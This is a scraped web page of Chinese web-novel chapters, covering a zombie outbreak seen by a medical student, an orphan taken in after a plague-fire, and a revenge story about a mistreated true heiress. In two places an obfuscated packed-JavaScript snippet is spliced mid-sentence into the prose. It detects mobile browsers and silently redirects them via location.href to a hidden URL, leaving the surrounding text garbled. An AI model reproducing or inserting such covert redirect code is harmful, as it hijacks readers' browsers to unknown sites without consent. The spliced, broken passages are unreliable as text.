“到那个时候，他将会成为消灭异变最好用的武器，”001在林霖耳边不断蛊惑着她，“你看，他不断的在受伤，体内不断积累着和蛊尸同一种类别的毒素。” “若真有那么一日，一切都会发生的顺理成章，不会再有像宿主和钟不为一样的天命者，宿主可以像看戏一样，看着自己逃脱注定的命运。” “这一切，只需要牺牲一个钟不为而已。” 但靖城也会随之消失。 林霖想起了那里成片成片的花树，想起了春朝节在雨洼里碎成一片片的灯笼光，想起了枯萎的花草旁的花灯，与倒映在水里的明夜月，想起了清香的梨花酥与梨花酿。 以及即使被血腥味掩盖，也能被她嗅到梨花香的少年，强装快乐，实则悲伤。 这样好的地方，与这样想保护它的人，要是消失了该有多可惜啊…… “这一切哪能用人来衡量，”林霖看着地上那朵小小的白花，“即使不是我也会是别人，我并非胆怯之徒，怎么也算得上是个忠义之辈。” “看着自己至交好友死去这种事太孬种了，并非我的意愿，你说的这些话也顶多坚定一下我的信念，既帮你搞死异端，又帮我恢复正常，等价交换而已。” 齐星诚看着双目无神的林霖，有点担心是不是自己把这孩子弄傻了，好在他叫了几声后，林霖总算是不再神游天外，回归了本来的神采。 “我得去，请阁主帮帮忙。但此去一趟，估计凶险，还请阁主帮忙瞒着钟不为。” “你一人去？” “是，我一人去。” “那你那呆在青青那边的朋友……” 林霖粲然一笑，“没关系，只瞒着钟不为就够了。” 她想起刚才，捂住钟不为的眼睛后，看到的与子卿如初一折的下巴。 和痛得声音喑哑时，不能自制发出来的声线。 这人又骗了她一次。 他就庆幸他是个伤患，她不好对现在的他下手。 等她回来，一切总要来个清算，看看这人整天乐衷于骗人，到底是被她惯出了什么毛病。 26. 齐国 余风意看着电脑屏幕上修改无数次的实验方案后叹了口气，从他考上研究生到今天，每天好像都在做着同样的事情，虽然忙，但也不知道在忙些什么。 他看了一眼手机，眼瞅着快到下班时间，余风意心安理得的关上电脑，刷起了手机，视频依旧是猜他爱看类型，刷了一会以后感觉还是无聊，随便找了一篇末世相关推文带上耳机开始边听边闭目养神。 听着耳机来传来的ai女声声情并茂的讲解，余风意随手拿起一支笔在手中旋转起来，屋外的夕阳照射在他脸上，让他感到昏昏欲睡，只是心底一直压着事情，刚休息了一会，他就烦躁起起身收拾起自己的东西。 和他一起待在自习室的师弟听着椅子在地上的轻微磕碰声，有些迷茫的抬起头，“师兄，你要走了啊？” “嗯”，余风意简单的答复了一声，伴随着师弟低低的叹息声离开了学校。 本科时期那种对学术的憧憬已然消失在一次又一次的实验里，现在的他不仅仅要做实验，还要发表文章，更要去医院里规培。连轴转的痛苦，让他在每一个熬夜的夜晚恨不得变成一只八爪鱼，或者说变成家里那盆多肉，成为一个可以光合作用的废物，好好的休息一段时间。但最该死的就是，他既想要自己不去工作不去学习，又放不下自己该死的自尊心与好胜心真的任由自己沉落下去。 自嘲的审视了自己一番后，余风意站在校门口，拿着手机刷了几下，在点到微信看到自己余额的时候，他成功打了个哆嗦，放弃内心打车的想法，打算坐公交车出去。 大抵自己这一生也就这么过活了吧，碌碌无为，碌碌无为，生活仍碌碌无为...... 他走上公交车看着又一次爆满的座位，来不及感叹自己的运气，就被疯狂的放学下班大军挤得变性了五个等级。 一只手拽着公交车的扶手，另一只手拄着自己的头，面目狰狞的用诡异的姿势刷着手机。余风意也不理解他为什么要趁着这个时间拿着手机猛看，但不看，好像对他来说又是极大的损失。 很快报应就来了，他感受着自己晕眩的脑袋，抿着嘴咽下了嘴里恶心的感觉，刚维持好心态就被突如其来的撞击撞了个趔趄。 “你没事吧？”一只粗糙的手把他歪了的身子拉了回来，余风意艰难的一转头，发现那是个满头灰发带着鬼怪面具的男人。 他有些迟疑的看着自己被贴上可爱创可贴的手臂，有些疑惑，“为什么要给我？” “因为你被划伤了，我不清楚是不是因为我身上的配饰造成的，”男人言简意赅的指着创可贴说道：“我在漫展上买的同人周边，放心用。” 原来是coser,余风意摆了摆手，也无意为难陌生人，在简单客套几句后，余风意看着男人的背影叹了口气，那哥们的面具真挺帅的，只可惜他不好意思去问。 越到这趟公交车的终点站，车上的人也就越来越少，房价也就越来越便宜，但他所居住的小区人烟却并不稀少，老头老太太在花坛旁激情的跳着广场舞，还有跟着音乐一起跳交际舞的男男女女不论老少，虽然音乐并不相通，但却相当益彰的成为这个小区常见风景。 余风意欣赏了一会，随即被飘来的饭菜香吸引了注意力，长久地学习让他现在才想起来今早起得晚，直到现在还没有进食一粒米。 只是现在再做饭也不知何时才能吃上，不如买点得了。 想到这里，他环视了一圈四周的摊子，最终按照摊主的颜值决定自己的晚饭就吃手抓饼。 他清了清嗓子晃晃悠悠的走到了一个摊子前，摊主虽然带着口罩和帽子，但从身形足以看出那是一个长得不错的帅哥。 余风意欲言又止的看了一眼摊子红底白字的招牌-手抓饼，烤冷面，修水管，民事诉讼。 摊主似乎察觉到了他的视线，将手机放到兜里，站起身来问道：“吃点什么？” 看着余风意依旧呆愣的眼睛，摊主叹了口气，指着铁板前面的小吃清单说道：“这里有各种配制的手抓饼，还有烤冷面，”想了想补充到，“你难道是来找我打离婚官司的？我是H大法学生，在律所有三年工作经验，最擅长离婚和财产官司，你想要这类型的民事诉讼可以联系我。” 余风意眼含敬意的看向摊主，“来一个肉松加肠的手抓饼，少放生菜。” 摊主有点受用这样的眼神，将面饼放到铁板上的时候，眼里透露出些许笑意，“我还会修自行车和电动车，有需要可以来找我。” “......学长，你真让我敬佩，咱俩加个微信吧。” 摊主看了他一眼，随即将手机从裤兜里摸出，调出了二维码，“你也是H大的学生？” “是啊，医学专业，现在硕士快毕业了。” “嗯。” 余风意看着在铁板的挤压下滋滋冒油的火腿肠不由得咽了一口口水，转眼间就把尴尬的气氛抛之脑后，毕竟天大地大吃饭最大。 摊主把饼翻了个面，金黄酥脆的饼在阳光下泛着美妙的光亮，低沉的嗓音从口罩中传出，“你要番茄酱还是沙拉酱。” 犹豫了几秒，余风意诚恳的问道:“我能都要吗？” 摊主看了他一眼点了点头，“可以，马上就好。” 看着两道明媚的酱汁在饼上形成了完美的函数曲线，紧接着被摊主用极其熟练的手法涂抹均匀。余风意就明白了，这张手抓饼，肯定会好吃。 用微信扫了七块钱，他愉悦的与摊主道了别，带着还算热乎的手抓饼回到了出租屋。 在当今一众的高楼大厦中，只有六层楼高的小房子显得格外突出，但也让余风意的腿得到了极大的休息，三两个跨步就能登上台阶，重复两三次就能直达出租屋。 唯一的缺点可能就是隔音有点劣质。 刚踏进防盗门，嘹亮的声响响彻在楼道里。 “你个熊玩意，再不写作业试试看!天天就知道玩手机，暑假都快结束了，你这作业是想让我替你写完吗，你个死孩子，天天拖拉，日日夜夜拖拉，每次我一说你你还给我犟嘴，等你爸出差回来得知还要给你写作业，到时候不用我说，你铁定每名！看我干嘛，还不快去！” “你能不能讲点道理，我写了这么久的作业了还不能让我玩一会!是我写不完作业吗，是老师留的作业太多了!” “你还跟我狡辩!你看看，电脑都热成这样了，都快冒烟了！你还跟我说你玩没一会，欠揍吧你……” 哭叫声与怒吼声此起彼伏，不管什么时候，学习这个东西总是横跨于家长和孩子之间，他曾经有幸被他家楼下的这位女士请来给他家儿子付费指导一个暑假，从此他就对母亲和孩子这两个类别产生了极高的敬意，也对自己的能力产生的极大的怀疑，那一个暑假过后，他甚至对导师的PUA都产生不了极大的情绪波动，这一切的原因绝对不是因为孩子他太难教。 当然，这种敬意足以让他每次见到孩子都挼一下他的头，悠然的告诉他大学生没有暑假作业。 然后在痛苦的暴鸣声中施施然回到出租屋。 这是他放假还被困到学校附近产生的少有的乐趣。 今天也是一样，他听着楼下母子二人如同相声一样的双重奏吵架声乐得前仰后合，也得亏楼下的小学生不是真的熊孩子，每次吵架不是纯粹吱哇乱叫那种，总是会据理力争，自己哭得前仰后合还要向他家长证明他没错，但通常结果都以他死鸭子嘴硬被家长发现证据，从而打得小声抽噎为结局。 听着楼下的声响逐渐消失，余风意看着仅剩的生菜，思考半晌后，用及其苛刻的眼神审视了一番它的水灵程度，随即塞入口中仔细品尝，虽然他不喜欢吃，但是蔬菜是他必不可缺的维生素摄入食物之一，毕竟他也不能总吃肉不吃青菜。 手机叮咚一声响，他看着微信上好友通过的消息提醒，挑了挑眉，将饭后垃圾收拾了之后，斟酌着字句，问出了困扰他三四天的问题，“学长，你会通下水吗，厕所地漏那种。” 可能是摊前没有客人，摊主很快回话了，“可以，我大概七点左右收摊，如果确定要通的话七点二十左右过来，价钱视情况而定，基础价格20，如果过于难处理也不会到五十块钱以上。” 倒是比他想象的要便宜，余风意权衡了一下觉得完全可以接受，于是把自己地址发了过去，“聚百得超市左手边一直往前走，楼梯凳旁边的那个单元楼，我在三楼，靠楼梯右手边，到门口了告诉我一声，发个微信。” 对面的人非常简短的发了个OK。 得到了肯定的答复，连带着今天因为实验导致的沉闷的心情也好了不少。 余风意站起身把手机放回去充电，打开笔记本电脑随便点了个视频就开始自动连播，充当自己娱乐时的背景音。 羊毛毡的所有材料凌乱的摆放在桌子上，伴随着针的进出声，忙活了四五天的商单总算是完成了，看着自己手里的小人和几件衣服，余风意想了想还是给这个小人套上了一件他自认为拍照最好看的衣服，，拿起正在充电的手机，在多个角度迅速排了几张照片，选了几张光线还可以的给单主发了过去。 不出五分钟，单主那边就传来了啊啊啊的欢快表情包，言辞恳切的说出了一句又一句的彩虹屁，尾款也是非常痛快的付了一半。 看着手机对面非常兴奋的单主，他也是毫不吝啬自己的夸赞，“你的oc很好看，让我做工的时候心情也十分愉悦，能有这么细致的oc设定足以看出来你对他付出了非常大功夫，这种功夫也是我能完美将他做出来的关键，在这个单子里你也很重要呢，不要妄自菲薄哦。” 对面的单主又是一阵疯狂感动，在得知明天就可以发货的时候，非常开心的表示虽然他的商单很难抢，但下次还要抢。 余风意笑了笑，小心翼翼的给羊毛毡娃娃做了个精美的包装后保护起来后才真正松了一口气。 翻了翻自己的账号后，打算还是明天再发新的商单，毕竟他做这个就是纯粹为了兴趣，挣钱的活还是得看那份在医院的工作，这样的好处就是每个商单都能做得比较精细，还不浪费他写论文的时间。 刚把羊毛毡放到合适的地方，电脑那里就传来了一阵尖叫声，还有撕咬声。 余风意不由得颤了颤，有些后怕的皱眉看向电脑，却发现不知何时跳到了营销号画面，上面马赛克虽然挡住了屏幕中央的血腥画面，但依旧能看出来里面在进行着什么惨绝人寰的事情，里面人的惨叫声传到余风意耳边，直接激得他浑身发毛，视频没有什么解说台词，时长也只有十几秒，看起来不像是普通营销号能发出来的。 他取消连播按钮，想要返回那个视频仔细查看一下，却发现那个视频已经失效，搜索相关视频，却只发现了一些杂七杂八的陈年视频，陈旧程度不亚于他太爷爷当年盘了三四十年的陈年核桃，每年几乎都会再被那些营销号翻新，配合着老旧解说台词拉出来遛一遛。 但刚才那个视频...... 余风意皱了皱眉，微信却在此时弹出消息提示音，同时他家门口响起敲门声，他扫了一眼，是刚才他那位不知名校友的消息，说他已经到门口了。 扒开猫眼观察了两眼，辨别了一下眼睛和睫毛长度，余风意就确认了对方的身份。 打开门，那位校友依旧带着一副口罩，手里提着一个工具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177624|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱礼貌地点了点头。 还不等余风意给他拿拖鞋，对方就从箱子里取出一双一次性酒店类拖鞋在玄关处换了上去，工具箱底部也是垫了一张干净的报纸被安静地放在地上。 “学长，你的工作态度这么好，价钱还如此便宜，真的没有很多人叫你去修东西吗？” 学长笑了笑，边从工具箱拿东西，边回答道：“可能是我看起来没有平时通下水的那些人看起来靠谱，看起来又过于年轻，给人的信服度自然不如那些老师傅大。” “但有一个结论非常明确，只要你缺钱，一切生活技能都能学会。” 余风意靠在墙上，看着学长背对着他的身影，产生了一种同时天涯沦落的心酸感，看来这年头，哪一件事情都不好办啊。 事实证明，不能只根据一个人的年龄来判断人，当水丝滑的流到地漏里，并且丝毫吗，没有溢出趋势的时候，他都想给眼前人磕一个了。 “哥们儿，你是真牛啊。” “你真是客气了。”柳云晖锤了锤因为蹲的时间太久而酸疼肿胀的腰，叹了口气，刚准备站起来收工回家的时候，窗外突然传来此起彼伏的惊叫声。 这一吓，他落在地上的那只脚被自己的腿狠狠绊了一下，直直朝着余风意面前的地板砸去。在鼻尖即将接触到地板的时候，腹部和胸前被一双手拖住。 这一刻，他无比庆幸自己带了口罩，能够十分自然的面对自己的雇主屈膝半跪一脸惊恐接住他的事实。 余风意只感觉自己的魂都快随之飞走了，差一点，他学长的鼻子就要和地面进行力的相互作用，他敢打包票，学长的鼻子绝对抗不过地板的一击。 “多谢，我试着起来一下。”柳云晖控制着自己的腿平铺直叙的与地面来个大面积接触，才让自己的鼻子脱离了撞击危机，只是他的双腿直直下跪在地面，比电视剧里想要沉冤昭雪的罪臣跪得还要笔直。 两人面面相觑地看了对方一会，余风意一直在心底劝慰自己不能一见面就嘲笑对方，这是非常不礼貌的行为。 所以他用了这一生达到巅峰的定力，用尽量平和的眼神将眼前人扶了起来。 但这一切放在柳云晖眼里，眼前的人神色严肃，眼神坚定，好像他这一摔干了什么不得了的事情。 算了，雇主开心就好...... 两人无视发生一样一个交钱一个收钱，在这一切结束后两人同时意识到，外面尖锐的叫喊声依旧没有停歇。 余风意急忙跑到窗边，仔细观察着周围场景，与他想象的吵架场景毫不相干，外面人流窜动，每个人都在逃命，有的人神色惊恐，不敢发出一点声音。周围太乱，余风意寻找了一段时间后才发现事件源头，那是两个浑身血污的“人”，他们分别抱着两个哀嚎的人撕咬啃食。 啃食别人的其中一个人余风意认识，那是一个卖干豆腐的叔叔，有的时候他从实验室回来就会去他那里买豆腐。那叔生意不忙，还会把干豆腐帮他切成片。而现在，他缺了半边脑子的头正在毫无意识的啃咬着小区里的其余人。 意识到这一点后，他捏紧阴台的大理石台面，有些迷茫的张了张嘴，感觉每个字都是从心里被剖出来的，“我是在做梦吗？”为什么会变成这样啊？ 柳云晖摘下了口罩，神色有些凝重和羞愧，“......我能不能请求你一件事。” 余风意这时也缓过神来了，拿起手机准备向父母打个电话，“你说，只要我能帮上忙就可以。” “我住在这栋楼的七楼，遇到这种情况可能不太方便，我能不能在你这里暂住，我可以把我那块的吃的全部搬下来，我那边还能装修材料。” 看着柳云晖的眼睛，余风意轻轻点了点头，在他看来，这种情况下两个人呆在一起总比一个人好，至少说话还能有个伴，他挥了挥手示意柳云晖去拿自己的东西，自己则是跟刚接通电话喜气洋洋向他问好的父亲说道：“爹，你现在让我妈回来，外面有危险，等我妈回来的时候门窗锁好，房门紧闭，顺便多接点水，多拿点吃的，末世来了，我没开玩笑。” 正在炒菜的余老爹听到这话讶异地长大了嘴，脑子根本反应不过来怎么回事，只能按照自己儿子的指示一步一步拾掇自己家里的东西，在接收到儿子接二连三的强调语气后，手机那面传来了嘟嘟声，显然是儿子把接下来的时间交给他来联系自己老婆了。 他这个时候才意识到什么，关火关煤气，着急忙慌的收拾着家里，在收拾之余给还在外面跳舞的老婆打了个电话。 余风意抓紧时间在家族群里艾特了一下大家，稍微说明了一下原委，也不管有没有人回复，着急忙慌的收拾了一下，开始把家里所有的水龙头打开，开始接水，所有充电宝翻出来安上电线开始充电。 不知何时，外面的尖叫声已然少了许多，余风意在窗前皱着眉观察着下面的这群非人生物，这群生物比他曾经在电影里看到的丧尸要难缠许多，脑袋遭受到撞击只会影响到他的行动速度，根本不足以让这些奇怪的东西完全毙命，掉块肉也不会影响到这东西的撕咬力度，他扫视了一眼家里的东西，拿着楼下小孩送给他的弓箭朝着大张着嘴的丧尸射击了不痛不痒的一击，好歹有些准头，也让这个东西放弃了面前的目标，寻找着插进身体的东西的源头方向。 扛着老人家的壮汉趁着这个时机离开了是非之地，余风意握着玩具弓的手松了松，淤积在心底的那口气终于松懈了下来。 敲门声在此时响起，余风意瞥了一眼猫眼，给拎着两个三十寸大箱子的柳云晖开了门。 伴随着门的声响，两个人狼狈的扛着箱子倒在了地上，柳云晖还翻了个身。 27. 迎风客栈 天泉五年，靖城边陲。 冷风吹过带起一小片焦土，焦黑的树皮附着在树干上顽强地摇晃。 林述赤脚踏在土地上，整个人摇摇欲坠。从靖城山火燃起至今日，她已有三日未进食水，只怕再耗下去，连她也会没了命。 可她好不容易才逃出来…… 石子与她的脚碰撞，她踉跄了一下，栽倒在一棵树下，粘稠的血液与黑漆的土地融合在一起，猩红，腐烂，发臭…… “居然还有人活着，秋云，去看看。” 林述虚睁着眼望向发声处，看不太清人影，但兵刃上的寒光迎着太阳照射进了她的眼中，向她不断靠近，那人走的很快，只一瞬间，寒光高举空中，即将落下。 “救！咳咳咳……咳咳” 那只手迟疑了，“公子，还活着，并非kui……” “慎言，秋云。” 被称为公子的那个人缓缓靠近，蹲下身打量了几眼林述，“想活？” 林述微微点了点头，微薄的汗水与焦土交织在一起，在地上蹭出几道痕迹，她希望那人能通过这些痕迹能清楚的明白她的求生欲望。 “你替我做事，我让你活，可以吗？” 被称为“公子”的人满意的看到林述点了点头。 “很好，秋云，扛上她，带回去。” “……公子，她的来历我们还没有打探清楚。” 秋云无奈的看着“公子”向前方走去的身影，只好一个健步把地上的林述捞起朝着前方赶去。 被夹在手臂中间的林述只感觉自己快吐了，她拼劲全力拽了拽秋云的衣袖，哀求的看着她，希望这位女侠能用温柔点的方法运送她，别让她以这种方式殒命。 “秋云，别把人给我摇死了。” “公子”转过身，有些无奈的看着几近昏厥的林述，沉吟片刻后，指了指一块还算干净的土地，“在这里修整吧，给这位姑娘包扎一下伤口，喂些食水。” 一股清列的味道萦绕在林述鼻间，她睁开眼，有些贪婪的汲取着水囊里的水，不消一会，水囊里的水已经被她一饮而尽。 “我……”林述清了清有些沙哑的嗓子，有些渴望地看着还在滴水的囊袋，“我还能再喝几口吗？” “不可贪多，循序渐进。” 秋云摇了摇头，将水囊收了回去，将包扎的物事扔给了“公子”。 “你可真是会使唤我，有点疼，别叫喊出声。” 林述还没有反应过来，一股剧痛由脚底席卷全身，等能忍下这股痛时，又变化为了痒，她只好死死咬紧牙关，等待着痛苦远离。 “还不错，忍痛能力比秋意好，是个好苗子。” 秋云看着林述瘦小的身板，蹙起眉头，“不适合习武。” “那不正好，适合去学我的手艺。” 闻言，秋云摇了摇头，“她比您适合学武，还是不要跟着您为好。” “……” 林述忍着痛，有些哭笑不得，她到底是遇上了怎样的两个人，以H主仆相称，却丝毫没有主仆架子。 “我叫许丛洲，所学多为参星算命的法子，她叫秋云，是我麾下最勇猛的贴身侍卫，我还有一名侍卫叫做秋意，他擅长医与毒，”许丛洲看着林述，“你要跟着我，总要学些一技之长，我这里从不养闲人，选谁？” 两道目光紧紧锁在林述的脸上，她有些不适地扭动了几下身子，那种如芒刺背的感觉消失后，下意识思考起这个问题的答案。 占星，医毒与武力。 林述首先排除了学武，她何必要干不适合自己的事情。至于学医，她对此毫无兴趣，并且无法想象自己成为一名医者的未来情形，她也对救死扶伤没有兴趣。 但是当一名术士……她真的可以吃饱饭吗？ “我……” 许丛洲轻叹了口气，“那我这么问你，姑娘，你真愿意与我们一起走吗？” 林述愣了愣，一时之间没有反应过来。 身后替她清洗伤口的秋云，听到这里对林述解释道:“公子的意思是，如若你不愿意帮公子办事，公子也不会勉强姑娘和我们一起走。” “你若不想步入危机当中，我可以为你安置好一切，让你拥有一个能够生存的活计，这对我而言并不麻烦。” 许丛洲顿了顿，有些无奈的看向林述，眼里闪过了一丝意味不明的情绪，“但有个要求，此生你不能步入京城半步，这算是衷告。” “为什么？” “因为是我们救了你。” 林述没有再问下去，而是思考起了未来的路。有一个安定生活的代价是再也不能步入京城半步，但她想查清城里的火是谁所放，必须要去京城。 这么想，她只有一个选择。 “许公子，如果我跟着你，我可以知道这场火的真相吗？” 林述掩饰住眼中的悲伤，于她而言，找出家人被烧死的元凶比她是否会遇到危险重要。 看着林述有些低垂下去的头，许丛洲的心底闪过一丝不忍，但他还是硬起了心肠，“当然可以，我有这个能力。” 烧了三天三夜的所谓的山火果然是人为！ 林述借着秋云的力道站直了身体，对着许丛洲行了一礼，“林述愿跟公子回京，投入公子麾下，恳请公子告知我真相。” “真相哪里是别人能够告诉你的，”许丛洲把身上的大氅取下，披在林述身上，“你得自己去寻，如若我就是放火的元凶呢，那你岂不是被我蒙蔽了双眼。” 林述感到一阵温热环绕在周身，驱散了一些寒意，她凝视着许丛洲含笑的眸，只觉得眼前这人像一个迷一样来到了她的身边。 她自认为自己没什么特别，是什么理由，让这位许公子选择她为他做事。想不明白，倒不如走一步算一步吧。 “既然要跟着我，那就不必和秋云一样叫我公子，”许丛洲满意的看着眼前的少女，眼中多了几丝兴味，“我欲收你为徒，你应当叫我师父。” “啊？” 站在林述身后的秋云虽然没有说话，但眼里也多了几分不可思议的疑惑，她盯着林述纤细瘦弱有些营养不良的骨架，心中多了几分忧虑。 “嗯，叫声师父来听听？我虽比你大不了几岁，但洲自认为书算是看了不少，当你的师父还是绰绰有余。” 许丛洲状似掸了掸衣袍上的灰尘，狡黠地看着林述，笑起来的他，看起来倒像是个不太正经的纨绔子弟，“跟着我，可是前途无量吃喝不愁。拜我为师，你可是赚大了。” “师父，能吃饱饭吗？” “可以，秋云，把包袱里的食物给shu儿，让她边走边吃。” 秋云拧着眉从包袱里掏出一张饼，“早知您今日要捡人回来，我就多带些东西了，幸好我从马车上下来时取了一双鞋。” “我也不是什么都能算到的啊，更何况此次出行他都不在意，我会因此算来算去。” 林述听着他絮絮叨叨的声音，顿觉自己刚才拜许丛洲为师的决定做得实在过于仓促。 好在许丛洲自知赶路要紧，又恢复了刚刚儒雅随和的形象，带着两人向前烧焦了的城内走去。 秋云握着剑沉默寡言的跟在二人身后，林述与许丛洲一问一答，只不过大部分时间，林述啃着手中的饼，而许丛洲在说。 没过多久，三人就来到了靖城城外。 昔日城池的繁华早就被大火付之一炬，木制的牌匾只剩一点在坚守着自己的使命，风一吹，城门破落作响，城墙上的黑灰扑簌簌向下掉，大部分与地面融为了一体。 少部分则是冲着三人发与脸而来。 林述与秋云还好，二人一个披着黑色的大氅，一个穿着深灰色的劲装。唯有许丛洲，身着一身雪白，头戴白玉冠。 一位风度翩翩的玉面郎君霎时被席卷的尘灰吹破了优雅与淡然，白玉冠也随着风向下滑落了几分，多少显得有几分狼狈。 “……”秋云竭力别开了眼。 “……”林述抬头望着天。 “你们俩看我干什么，进城！”许丛洲恼怒的向前大步走去，完全没了刚才的形象。 看着许丛洲快速向前的身影，秋云轻轻开口，“他平时不这样，除非气狠了。” “他平日从未这么狼狈过？” “不，他昨日在锦城特意找了大客栈沐浴，保养了头发。” 怪不得。 “保养头发的原因是……” 秋云眼中闪过几分悲悯，“京城里许多大人未到而立之年，头顶已然闪亮光滑，他怕自己也变成这样。” “师父他快到三十了？”林述这次是真有些惊讶了。 “公子今年二十有一，但与他同期的翰林等人，落发的不在少数。” 听闻此话，林述沉默了。 两人就这么凝望着远处疾步向前的声音，不紧不慢的跟在身后。 毕竟此时不管何人上去，都必将触及许丛洲那已然碎裂的自尊。 不如什么都不说，让这件事随风而去吧。 …… 靖城的一切，即使早已被焚烧殆尽，林述还是熟悉的不得了。 西街口的李家糖水铺子，南巷百味包子的大蒸笼，东堂墨香斋里的画本字画，城中心摆放的大戏台子，以及坐落在城里北方的她的家。 她看着这一切，眼眶又开始泛红，一句话都说不出，咬紧牙关跛着脚向前走去。烧焦的气息从四面八方袭来，风吹动了发梢，却带不走满地的荒芜。 折柳枝随着风吹落在地，眼泪顿时滚滚而落，林述站在戏台子前，却不知自己该去哪里。 一只手紧紧扶住了她的肩膀，温热的力量顺着大氅传递到了她的身上，“只有我们，哭出来吧，去找他们。” 尖锐的哭喊声在整个空城内爆发，林述再也不压抑藏在心底的哀恸，朝着家的方向跑去。 “悠悠，咱家的屋子在戏台子的北边，一直向前走，走到第三家，门前有颗李子树，一推门，爹娘就在里面等你啊。” 娘的声音还在林述耳畔回荡，这句话她从小到大听了太久，唯一不同的是，这次房里没有她的爹娘，她是清楚的。 看着踟蹰不前的林述，许丛洲问道:“要我来帮忙开门吗？” “……可以吗，我的腿有些动不了了。” 秋云别过脸，不忍再看。 许丛洲扶着林述一步一步来到了木门前，一齐将门推开。 木门被推落在地，烧焦的杏树叶随风飞走，两个人手挽手依偎在一起，脸色苍白，唇色青紫，皮肤上斑点显现。 “阿娘？阿爹？” 没有声音回答。 许丛洲接过秋云递来的面罩，神色有些凝重，“缓些靠近，把它带上。” “……京城知道我们这里发了瘟疫？” “知道，秋江城也出现了类似的情况。” 看着林述的眼睛，许丛洲有些痛苦的低下了头，“无解，活不下来。” 林霖被推下悬崖的时候无疑是恨的，只可惜她自己不能主宰自己的身体。 就连倒下去的那一刻，对着他人的眼神都带着凄婉、哀苦与释然。 若有一天她能从地狱爬起来，定要这群人挫骨扬灰，报她被欺辱之仇！ 林霖的生活就像画本子里写得那样，真假千金，侯府虐恋。 儿时，她与假千金林舒然被姨娘身旁的嬷嬷交换，而她则以死胎的身份丢到荒郊野岭。 一对又懒又坏的养父母把她捡了回来，让她与牛羊一窝，勉强长大。待她有力气站起身时，就开始每天洗碗割草种地，打扫卫生的日子。 她被林家接回来的时候，正是林霖准备逃脱这家人的日子。 只可惜一辆马车阻断了她心心念念的未来，把她从一个深渊带入另一个更不可控的深渊。 林霖不是没有想过和假千金好好相处，虽然她才是真的林家大小姐，但她才刚被接回来，没有打探清楚这群人对她的看法，正处于寄人篱下的境况，更应该小心行事。 没想到这家人带她回来，根本是不想给她活路。 林霖刚踏进府里，一堆人就对她威胁来威胁去，她还没吃上一口热乎饭，洗个干净澡，就被林舒然频频陷害。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177625|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那该死的祸害又是哭，又是嫁祸，硬生生的把她的名声祸害的整个京城的人都能说一两嘴她的笑话。 虽然林霖也没搞明白，像林家这样的大户人家为什么会允许自己的“家丑”在外面肆意飘扬。别的京城世家也只对她一人落井下石，难道这群人就没有自己的事情要干吗？ 在假千金，林父林母，二三四五哥轮番的摧残后，她终于被折磨的不像样。 就是从这个时候，她的躯体不受她自己的控制。 侯府很随意的就接受了她替换林舒然嫁给瘸子世子，然后那个世子又高高在上的对她嘲讽的说:“像你这样的贱民，不论怎样都比不上舒然的一根头发。” 每到这个时候，林霖的身体都会被控制，一脸哭唧唧的给那狗男人和祸害洗手作羹汤，冷脸洗内裤。 刚说完自己不爱了，就是高强度的被一堆煞星折磨的吐血断腿，还生了冻疮。 她林霖从小到大，即便是当年要被嫁给村东头傻子王二喜的时候也没受过这种气。 来到这京城，不仅仅生别人的气，更是被自己气的半死。 最后就是，她和假千金同时被绑，叉烧家人和煞星未婚夫都选假千金，选之前还又轮番放了一波狠话，挨个扎了一遍她的心，把她贬进尘埃里，最后她被绑匪一把推下悬崖。 这一辈子真是气死她了，这十六年就没有一天舒心的！ …… 山崖底，一个正在钓鱼的男子看着不远处飞溅的水花与水中不断散开的红色，心底多了些不好的预感。 果不其然，他刚一凑近，就看见一个皱着眉的女子在水面上飘荡。身体上的伤口被这股冲击力撞击开来，在水中缓缓蔓延。 男子抬头，看向悬崖边上断裂的长短不一的树枝，皱了皱眉，要是没有这些树枝帮忙缓冲，这女子恐怕掉下来的那一刻就死了。 想到这里，他连忙向不远处的竹屋喊到:“夫人，来搭把手，这里有位受伤的弱女子！” 一位举着剪子的女人从屋中走出，她快速来到河边，看着林霖浑身上下的伤，皱了皱眉:“我把她送入屋里，你找药箱。” 说完不等男子回应，她已然跳进河里，将林霖捞了起来。 “夫人，下次还是告知我一声，”男子有些无奈地抹了一把脸上的稀薄的血水，“我把金疮药和针递给夫人，劳烦夫人配合我完成救治了，还是女子之间比较方便。” 女子微微一点头，与男子快步走进屋内。 …… 林霖这一觉睡得很沉，梦里光怪陆离，那些煞神们不断追着她跑，张牙舞爪的要害她的性命，即便她逃到边陲，逃到天涯海角都能被那些人发现。最终她再也跑不动了，麻木的忍受着那些怪物在她身上吮血吃肉。 “别睡，睡了就再也醒不来了。”一道凌厉的声音稍微让她的脑子清醒了一些，她继续挣脱开那些怪物逃跑起来。 她不想死，她还有那么多事情要做。 好不容易逃开了控制，好不容易离开了那些个吃人的地方，她想活下去…… “你要和我绑定吗？” “你是什么，能救我吗？” “当然可以，但和我绑定就意味着你得帮我完成任务。” “……伤天害理吗，杀人放火吗？” “为国为民的好事，”那道奇怪的声音戏谑的拐了一个弯，“帮我完成任务的同时还可以顺便帮你复个仇。” “好。” 林霖沉默良久，在脑海里轻轻回答道，即使未来可能又要被什么怪人怪物掌控，但她能够拥有反抗别人的力量，这就够了。 她想活着。 “叮，绑定成功，系统洲001号为您服务，察觉到宿主生命体征不稳定，即将为宿主开启生命休眠舱维持生命体征。” 